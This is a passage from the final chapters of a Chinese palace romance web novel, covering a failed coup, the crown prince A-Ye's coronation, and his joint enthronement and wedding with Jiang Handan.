阿夜不是风明,以阿夜的善战,一旦登基,帝位便稳若泰山,许崇义永远也不可能有机会问鼎天下。 于是许崇义选择了铤而走险,孤注一掷。 他封锁了京城,隐瞒了这个消息,一面逼宫夺权,一面准备除去阿夜。 很可惜,他的盘算落空了。 “皇祖母……”风明在这时醒来,迷迷糊糊间扑在太皇太后怀中,“呜呜呜呜皇祖母……我以为我死了……” 太皇太后抱着他,泪水长流:“明儿太小了,担不起整个天下,你说的那昭惠太子又做了许崇义的义子,老天不佑我大央,风家无人了……” “谁说我风家无人了?” 外头的战事已经了结,许崇义兵败被擒,押入天牢,敬王大踏步进殿来,声若洪钟,“站在这里的不就是吗?!” 太皇太后顺着他的视线,看向姜菡萏身后。 阿夜习惯性站在落后姜菡萏半步的位置,身材高大,挺拔,眉宇间气质森冷,不怒而威。 “他便是昭惠太子风晔!”敬王大声道,“皇嫂,大央后继有人,这便是咱们的中兴之君!” 太皇太后又是震惊,又是 讶异,向阿夜招手:“好孩子,快过来,让哀家瞧瞧。” 阿夜走上前,姜菡萏把玉坠拧开给太皇太后看,敬王在旁边大肆夸赞阿夜如何一枪扎倒大旗,两枪捅破城门,神威盖世,天下无双,简直就是长庆帝再世。 太皇太后眯起眼睛,她看到的不单有这些,还有昔日佛堂内那个静静合什为菡萏祈祷的少年。 有雷霆手段,亦有菩萨心肠。 那还等什么? 太皇太后微微哽咽:“国不可一日无君,阿晔,你须得尽快登基!” “好。”阿夜一口答应,“登基的时候,能不能封后?” 他说着,望向姜菡萏,不用开口,目光中的期待已经把他想说的话都说完了——他想和菡萏一起登上宝座,他当皇帝,她当皇后。 姜菡萏悄悄道:“自古以来都是先登基,再封后,你莫要乱来。” “也并非尽皆如此。”太皇太后道,“昔年太\祖登基之时,封后大典一同举行,皇帝与皇后一起接受百官与万民的朝拜,从太庙回到乾正殿,再去坤和宫举行婚礼。” 阿夜脸上露出一丝笑容。 原来姓风的人里面并非全是承德帝那种废物,也有这样的英明之辈。 他对他的祖先稍感满意。【你现在阅读的是 】 第 82 章(正文完) 第82章 第82章长乐未央 事莫大于正位,礼莫盛于改元。 登基大典本就是世间最盛大的典礼,何况再加上封后大典一起,以顾晚章为首的六部官员每天都忙得脚不沾地,只恨自己没有生出三头六臂。 大央的官场先后经历过三轮清洗,到此时几乎消耗殆尽。最后一场清洗时顾晚章被关进天牢躲过一劫,待他被放出来的时候,已经是仅存的唯一一名侍郎。 大典在即,顾晚章立即被提拔为尚书,兼管吏部、礼部与户部,全权主办登基大典与封后大典。 大央有史以来最年轻的状元郎,至此成为大央有史以来最年轻的尚书大人。 顾尚书在忙成陀螺的间隙里,许家姐弟向他递上一只信封,请他转呈给皇太子殿下。 登基大典礼节众多,此时阿夜正在太庙斋戒,须得满七日七夜,方能举行大典正位。 许崇义兵败后被打入天牢,镇海军成为战俘,关在城外战俘营。许南珠与许南风姐弟俩则因为在阵前拨乱反正,弃暗投明,不单保住了麾下那群镇海军,自己二人也免受许崇义牵连。 “这是?” “大人呈给殿下,殿下一看便知。” 短短半月的时间,许南风脸上瘦了一圈,眉峰与鼻梁水落石出,他身上那股属于少年的阳光爽朗淡去了不少,取而代之的是一种属于男子的沉稳落拓。 顾晚章收下了,入夜来到太庙,交给阿夜。 阿夜打开信封,看到了前不久他盖出去的空白印章。 底下是一封请命信。 许南风愿意解散镇海军,然后长驻北疆,为国戍边,只求阿夜留许崇义一条性命。 顾晚章提醒:“殿下,纵虎容易捉虎难啊。” “打断他的两条腿,看他还怎么当虎。”阿夜收起信封,“告诉他,交易达成。” 顾晚章领命,出去的时候,正遇见羽林卫郎将鹿长鸣走来。 鹿长鸣笑容灿烂:“顾大人好,我来换值。” “看子殿下。”顾晚章加重了一点声量,“毕竟未婚男女在婚前若是见面,十分不祥。” 鹿长鸣:“大人放一百八十颗心,包我身上!” 顾晚章点点头,离开。 鹿长鸣走进殿中,关上门,仔细上栓,然后宛如被流氓调戏的小媳妇般抓住自己的衣襟,无助地道:“真要这么干吗夜哥……不,殿下……万一要是给人发现了,我得掉脑袋……” “待我登基,封你为上将军,你就可以求娶公主了。” 阿夜很会拿人七寸,毕竟娶妻真的是非常非常非常重要的事情。 鹿长鸣迅速脱下铠甲,换上阿夜的祭袍,盘腿坐在风家的祖宗牌位前。 阿夜则换上羽林卫郎将的铠甲,放下面罩,推门离开。 * 姜家,菡萏院,苏妈妈一遍又一遍地教导封后大典上的礼仪,姜菡萏打了个哈欠。 “小姐累了吧?可时间太短了,过两日殿下便斋戒期满,祭祀天地,登基为帝,同时就要封后!”苏妈妈眼下一片青黑,老人家好些天没有睡过整觉了,“太匆忙了……太匆忙了!从前皇后出嫁,婚礼至少要准备三年!现在只剩两天了,怎么来得及?怎么来得及?” 姜菡萏心说怎么来不及?这又不是调配火药,一不小心会炸炉,就算出点错又有何妨?更何况到时候会有四名赞仪女官从旁协助,她乖乖照办就行。 “我要当皇后了,苏妈妈不想顶着这么副脸色去观礼吧?”姜菡萏给侍女们使眼色,“快去睡吧。” 侍女们劝的劝,扶的扶,把苏妈妈带下去休息。 苏妈妈被架出去之前,塞了一本小册子给姜菡萏:“身为皇后,责任重大,小姐,要好好研习啊!” 姜菡萏伸了个懒腰,上床睡觉。 被褥薰过香,香香的,暖暖的,十分舒适,但她还是很想念那个比汤婆子还要温暖的怀抱。 这样的小册子,上一次她成亲的时候,苏妈妈也给她塞过。 她随便扫了两眼就搁开了——她当初嫁许南风只因为他是昭惠太子,她得完成风姜两家的联姻,稳定局势。至于男女之情……她素来体弱,不利于子嗣,特意在陪嫁中挑选了几名美貌的侍女,到时候无论谁生了,都可以养在她膝下。 不生孩子,自然不用同房,不同房,自然用不着这东西。 这会儿神使鬼差地,她翻身坐起,把那本小册子拿起来。 上面的小人儿身体交缠,姿态千奇百怪,她想象了一下自己做出这种模样,立刻脸上发烫。 忽地,窗上发出“嗒”地一下轻响。 姜菡萏做贼心虚,猛地把册子塞进袖中。 窗上又响了一下,再无其他动静。 姜菡萏试探着猜了猜:“……阿夜?” “嗯。” 还真是! 姜菡萏披上衣裳就要开窗,窗子却紧紧的,被人从外面扣住,她推不开。 “你这是做什么?这个时候,你不是应该在太庙吗?” “我想你了。” 阿夜在窗外低低道。 寒风呼啸,这几个字落在风中,仿佛把风都烫暖了。 姜菡萏声音不由自主低柔下来:“那你怎么不让我开窗?” “他们说,未婚夫妻,婚前不能见面。” 姜菡萏有点想笑,鼻子又有点儿酸酸的:“好傻啊,既然不能见面,你还跑来做什么?快回去吧,莫要给别人瞧见。” 斋戒是登基大典不可或缺的一环,若是被人发现,轻则被敬王唠叨,重则被群臣劝谏。 “我就在这里为你守夜便好。菡萏,你去睡吧。” 姜菡萏:“可是阿夜,我也想你。” 外面静了静,窗子打开了一线,瞬间又被关上,窗外的人克制住了自己:“不行,菡萏,不行……我们要白头偕老,一世恩爱,不能见面。” “那……你开开窗,窗一点缝就行。” 窗子开了一条缝,看不见人脸,但可以伸手出手,把玫瑰糖递给阿夜。 一颗,两颗,三颗……一个在里面递,一个在外面接,递到最后一颗,姜菡萏的手落进温暖的掌心,紧接着,手心里落下一个滚烫的吻。 “菡萏,好想快点登基。” 姜菡萏很想说“我也是”,但还是忍住了,她还没出嫁呢,须得矜持。 “阿夜,外头冷,你回去吧。” 阿夜:“不冷。” 姜菡萏恍惚觉得,这样的对话好像在很久之前就发生过,时空好像错乱了,不管他是兽奴还是侍卫,是太子还是皇帝,是阿夜还是风晔,他都一直是守在她窗下的少年。 关上窗子,她回到床上,忽然觉得少了点什么东西。 一摸袖子,袖中空空如也。 床上,没有;地上,没有;桌上,没有…… 她的视线落在窗上…… 不会吧?! “阿夜……”她努力用最自然的语气开口,“你看看窗子下面是不是掉了本小册子?” 阿夜“嗯”了一声:“我看到了。” “你别翻开!”自然的语气保不住了,姜菡萏扑到窗边,急急道,“你、你不许看,快把它塞回来!” 外面静了片刻,阿夜再开口时,声音里多了一丝喑哑低沉:“菡萏,我说了……我看到了。” 姜菡萏:“…………” 姜菡萏:“!!!!!!!!!” 她扑进床上,拿被子将自己蒙头盖住。 啊啊啊没脸做人了!! * 登基大典和封后大典共同举行那一日,是个大晴天。 晴光历历,照在屋顶未融化的积雪上,耀眼生光。 姜菡萏身穿皇后翟衣,坐在屋中,等待阿夜 祭完天地祖先,前来迎亲。 按礼制,皇家没有接亲一说,迎亲使会将皇后迎入宫中,直接在宫中等候皇帝,完成大礼。 皇后出阁,送嫁的人比上一次还要多。 丽阳来添妆时,姜菡萏险些认不出她。她黑了不少,头上只簪着一只云母钗,连流苏都没有。身上是粗布衣袖,甚至还没有解下攀膊,行色匆匆地过来放下一支银簪便打算离开。 姜菡萏一把抓住她的手。 她的手不再像昔日那样柔软如绵,指节修长有力,掌心还有明显的茧子。 虽说战后的京城一洗之前的奢华浮靡之风,无论贵女还是民女皆以素净清雅为美,可堂堂公主素净到这份上还是叫姜菡萏吃了一惊。 “你怎么了?”姜菡萏忍不住问,“谁把你欺负成这样?” 为保全风家两家的声誉,承德帝与先家主的谋划最终没有公之于众,随着死亡深深掩埋,永不为人所知。丽阳仍是名正言顺的公主,即便因为皇帝换人,恩宠不再如往昔,也不该清苦如这般模样。 “说什么呢?医馆还忙着,我没功夫跟你多聊,这支簪子是我省吃俭用买的,你一准不会用,不妨事,反正我的心意到了。” 丽阳声音清脆爽利,神情间没有半点阴霾,“仗打了一波又一波,城门还可以再建,伤兵们断掉的手脚可再也接不上去了,你知道有多愁人吗?我都快忙死了。你当了皇后,让你家陛下多发点抚恤银子呗?我可是把采邑的银子都贴补进去了,现在就靠点月例银子过活,穷得叮当响!” 姜菡萏完全愣住了,这还是她以前认识的丽阳吗? 守城期间,她隐约听说丽阳和宫人们一道帮着收治伤兵。战争结束,无论是宫人还是贵女,都回到了自己之前的位置。未曾想,丽阳竟然没有回去做她养尊处优的公主,反而越做越大,自己开了医馆。 “既是添妆,怎么能这样就走?”姜菡萏指了指自己发间,“替我簪上吧。” 丽阳问:“真要簪啊?我实在没钱了,银簪子确实寒碜了点。不过我想着,银子与其戴在你头发,不如换成药,让伤兵们少些痛楚。” “有道理,所以这支簪子你得簪。”姜菡萏道,“别光顾着贴钱,要学会挣钱。皇后大婚用了你的簪子,你转手卖个几十上百根,不过分吧?搞钱这事你还得多去请教请教顾大人,得到几句点拨,管保你发财。” 丽阳听得眼睛闪闪发光,细心地姜菡萏簪上发钗,两个女孩子在镜子相视一笑。 姜祯在旁边瞧着这一幕,喃喃:“……丽阳从前见了她鼻子不是鼻子,眼睛不是眼睛,现在才知道我妹妹有多好吧?” 一块帕子递到他面前。 姜祯顺着帕子看见了许南珠:“家主大人,您手里那块都快湿透了。” 姜祯看看手里哭湿的帕子,下意识想藏起来。 “舍不得妹妹,又不是什么丢脸的事。”许南珠道,“旁人只会觉得家主大人至情至性,兄妹情深。” “真的吗?”姜祯的声音里带上了哭腔,“你肩膀借我一下……” 这一日,姜家家主哭得肝肠寸断,泪湿(许南珠的)衣衫。 * 酉时,阿夜祭完天地与祖先,前来姜家迎亲。 苏妈妈连忙给姜菡萏盖上盖头,整理好璎珞流苏。 盖头挡住了姜菡萏的视线,她只看见阿夜半截海水云崖绣五爪金龙的朱红吉服。 下一瞬,在众人的惊呼声中,盖头被掀开,她的视野重新清晰,阿夜头戴十二毓冠冕,眉如刀裁,目如点漆,吉色龙袍衬出他高大挺拔的身形,他在阳光与阳光的映照下对她露出一个笑容,俊美得不可思议。 “盖头要到洞房才能掀呀陛下!”苏妈妈急道。 “菡萏要和我一起受百官朝拜,万民敬贺,戴着盖头,她怎么看得清?”阿夜向姜菡萏伸出手,“走吧,菡萏,我来接你做我的皇后。” 他的手心朝上,像一个拈花的姿势。 姜菡萏的手落在他的掌心,轻盈得像枝头落下的花朵。 “有劳陛下了。” 京城的百姓从来没有见过皇帝亲自迎亲,早早扶老携幼,呼朋唤友,等候在必经之路朱雀大街上。 帝后的仪仗花团锦簇,恢宏光艳,冬日的肃杀在这样的吉庆尊荣之下无声退散,整座京城仿佛回到春暖花开之时。 “瞧,陛下长得有几分像不年那个玄甲神人呢!” 不知是谁冒出这么一声,紧跟着当年目睹过神人徒步挡马车的百姓纷纷附和。 “就是啊!越看越像!” 姜菡萏坐在凤舆中,心想,他就是你们说的玄甲神人啊。 四角车檐垂下来的璎珞互相碰撞,发出清悦的声响,珠帘轻晃,阿夜在车前打马而行,不时回头看看车上的姜菡萏,春风满面。 这一刻他不是什么神人,也不是什么修罗,甚至不是什么帝王,他只是一个新郎倌,娶到了他做梦都想娶的姑娘。 队伍进入宫城。 登基大典庄严肃穆,礼节繁复漫长,姜菡萏随百官一起看着阿夜完成典礼。 “陛下万岁万岁万万岁!” 仪式完成,百官朝贺,阿夜正式登基为帝。 他颁下的第一道圣旨,是册封姜菡萏为皇后。 “奉天承运皇帝诏曰:朕惟乾坤定位,阴阳协和,中宫之选,实关国本。咨尔姜氏,毓秀名门,秉德温恭,可册立为皇后……” 这并非姜菡萏第一次听人宣读册封圣旨,上一世她受册封之时,大央山河破碎,百姓飘摇,她拖着病体跪接圣旨,心中充满苦涩与惶恐。 而此时,大局已定,大央浴火重生,中兴之治,由此而始。 她心中笃定而欢喜,因为知道前路光辉灿烂,与上一世截然不同。 她依礼下跪,才曲膝,便被阿夜托住。 她向阿夜使了使眼色,意思是,这么多人看着呢,该行的礼还是得行啊。苏妈妈教了她那么多遍,她好歹也要做做样子。 阿夜的手没有丝毫退让,他道:“你永远都不必向我下跪。” 姜菡萏小小声道:“可皇后自然是要跪皇帝的……” “没有什么皇后与皇帝,我们在一起,你永远是菡萏,我永远是阿夜。” 阿夜说着,牵起姜菡萏的手,走向御座。 帝后同座,百官行三跪九叩大礼,山呼万岁,敬贺帝后成婚。 阿夜颁下第二道圣旨。 “朕已登大宝,下旨改元,以‘长乐’为年号。” 姜菡萏想,这个年号真好。 比“永兴”好听多了。 百官山呼,礼乐齐奏,洁净雪花无声飘落,在灯笼的光芒里,轻盈如天女洒落的花瓣。 她抬头看向阿夜,阿夜正在看着她,两人的视线撞在一起,笑意便止不住从嘴角往上扬。 阿夜一直握着她的手,他的手温暖有力,声音低沉柔和,以只有她听得见的音量,低声道:“菡萏,从此世上再也没有永兴五年了,你不用再害怕了。” 姜菡萏回握他的手,两人的手在衣袖下紧紧握在一起。 是啊,从这一刻起,便是长乐元年。 她所恐惧的永兴五年,永远也不会到来了。 从今往后,只有欢喜无限,长乐未央。 (正文完)【你现在阅读的是 】